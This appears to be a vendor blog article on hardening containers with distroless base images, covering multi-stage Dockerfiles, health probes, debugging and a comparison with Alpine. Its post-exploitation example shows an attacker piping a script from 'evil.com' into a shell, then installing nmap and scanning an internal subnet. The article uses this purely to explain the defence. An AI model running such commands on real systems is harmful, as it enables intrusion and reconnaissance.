A standard Debian container image ships with 124 packages. That is 124 packages an attacker can use after gaining code execution inside your container: shells for running commands, package managers for installing tools, curl for exfiltrating data, and cron for persistence.
Distroless images remove all of it. No shell. No package manager. No system utilities. Just your application binary and its runtime dependencies. The container can run your code, and nothing else.
Google's distroless project pioneered this approach, and for a growing number of production workloads, it is becoming the default.
What Distroless Actually Contains
A distroless image includes:
- Runtime dependencies: glibc, libssl, ca-certificates, tzdata
- Language runtime (for interpreted languages): Java JRE, Python interpreter, Node.js
- Nothing else
What it explicitly excludes:
/bin/shor any shellapt,apk,yum, or any package managercurl,wget,netcat, or any networking toolsps,top,ls,cat, or any system utilities/etc/passwdmodifications, cron, syslog
The image is based on Debian but contains only the files needed for the specific runtime.
Available Base Images
# Static binaries (Go, Rust compiled statically)
FROM gcr.io/distroless/static-debian12
# Dynamic binaries (C/C++ with glibc)
FROM gcr.io/distroless/base-debian12
# Java applications
FROM gcr.io/distroless/java21-debian12
# Python applications
FROM gcr.io/distroless/python3-debian12
# Node.js applications
FROM gcr.io/distroless/nodejs20-debian12
Size Comparison
| Base Image | Size | Package Count | |---|---|---| | ubuntu:22.04 | ~77MB | 92 | | debian:bookworm-slim | ~74MB | 81 | | alpine:3.18 | ~7MB | 14 | | distroless/static | ~2MB | 0 (static) | | distroless/base | ~20MB | Runtime only | | distroless/java21 | ~220MB | JRE only |
Smaller images mean less to scan, less to patch, and less for an attacker to work with.
Building with Distroless
Distroless images cannot run build tools, so you must use multi-stage builds.
Go Application
FROM golang:1.21 AS builder
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o /app -ldflags='-s -w' ./cmd/server
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app /app
ENTRYPOINT ["/app"]
For Go with CGO_ENABLED=0, use static. For Go with CGO, use base.
Java Application
FROM eclipse-temurin:21-jdk AS builder
WORKDIR /src
COPY . .
RUN ./gradlew build -x test
FROM gcr.io/distroless/java21-debian12:nonroot
COPY --from=builder /src/build/libs/app.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]
Node.js Application
FROM node:20-slim AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --production
COPY . .
FROM gcr.io/distroless/nodejs20-debian12:nonroot
COPY --from=builder /app /app
WORKDIR /app
CMD ["server.js"]
Note: No npm start—the CMD must reference the JavaScript file directly because there is no shell to interpret npm scripts.
The Security Impact
Post-Exploitation Hardening
The primary security value is not vulnerability reduction (though that helps). It is post-exploitation hardening.
Consider an attacker who achieves remote code execution through an application vulnerability:
With a standard image:
# Attacker has a shell
$ whoami
root
$ curl http://evil.com/toolkit.sh | sh
$ apt-get install nmap
$ nmap -sV 10.0.0.0/24
With distroless:
# Attacker has code execution but...
# No shell to run commands
# No curl/wget to download tools
# No package manager to install anything
# No system utilities to enumerate the environment
The attacker can still exploit the application's runtime (e.g., open network connections using the application's language libraries), but the toolkit-based post-exploitation playbook collapses.
Vulnerability Count Reduction
Fewer packages means fewer CVEs:
# Ubuntu 22.04 scan
trivy image ubuntu:22.04
# Total: 35 (1 critical, 8 high, 15 medium, 11 low)
# Distroless static scan
trivy image gcr.io/distroless/static-debian12
# Total: 0
Zero CVEs in the static distroless image. Not because vulnerabilities do not exist in the real world, but because there are so few components that the scan has almost nothing to evaluate.
Immutability
Without a package manager or shell, you cannot modify the running container. This enforces immutable infrastructure at the image level. Configuration drift becomes impossible because there is no mechanism for drift.
What Breaks with Distroless
Debugging
No shell means kubectl exec is useless:
kubectl exec -it my-pod -- /bin/sh
# error: unable to start container process: exec: "/bin/sh": stat /bin/sh: no such file or directory
Solutions:
Debug containers (Kubernetes 1.23+):
kubectl debug -it my-pod --image=busybox --target=my-container
# Gives you a shell in a debug container sharing the pod's namespaces
Distroless debug images:
# For development/staging only
FROM gcr.io/distroless/base-debian12:debug
# Includes a busybox shell at /busybox/sh
Never use debug images in production. They defeat the purpose.
Health Checks
Shell-based health checks do not work:
# BROKEN: no shell
livenessProbe:
exec:
command: ["sh", "-c", "curl localhost:8080/health"]
# WORKS: HTTP probe (no shell needed)
livenessProbe:
httpGet:
path: /health
port: 8080
# WORKS: TCP probe
livenessProbe:
tcpSocket:
port: 8080
# WORKS: gRPC probe (Kubernetes 1.24+)
livenessProbe:
grpc:
port: 8080
Log File Access
Without cat, tail, or grep, you cannot read log files from inside the container. Write logs to stdout/stderr and use your logging infrastructure to collect them.
TLS Certificate Management
Distroless images include CA certificates from Debian's ca-certificates package. If you need custom CA certificates:
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /etc/ssl/certs/custom-ca.crt /etc/ssl/certs/
COPY --from=builder /app /app
ENTRYPOINT ["/app"]
Distroless vs Alpine
Alpine is often cited as the minimal alternative. Both reduce attack surface, but differently:
| Aspect | Distroless | Alpine |
|---|---|---|
| Shell | None | /bin/sh (busybox) |
| Package manager | None | apk |
| C library | glibc | musl (compatibility issues) |
| Size | 2-20MB | 5-7MB |
| Debugging | Ephemeral containers | Interactive shell |
| CVE count | Very low | Low |
Alpine is smaller but includes a shell and package manager. Distroless is slightly larger but includes no tools at all. For maximum security, distroless wins. For operational convenience, Alpine offers a middle ground.
Adoption Strategy
-
Start with statically compiled binaries. Go and Rust applications with
distroless/staticare the easiest migration. No runtime dependencies to worry about. -
Move to language-specific distroless images. Java, Python, and Node.js distroless images handle the runtime for you.
-
Update health checks and logging. Replace shell-based probes with HTTP/TCP/gRPC probes. Ensure logs go to stdout.
-
Enable debug containers in staging. Train your team on
kubectl debugbefore they need it at 3 AM. -
Monitor for new distroless releases. Google updates distroless images regularly with security patches. Pin by digest and update deliberately.
How Safeguard.sh Helps
Safeguard.sh identifies containers running bloated base images and recommends distroless alternatives based on the application's actual runtime requirements. The platform tracks which workloads have migrated to minimal images and which still carry unnecessary attack surface. For teams already using distroless, Safeguard.sh monitors for new vulnerabilities in the runtime dependencies that distroless images do include, ensuring that even your most hardened containers stay current.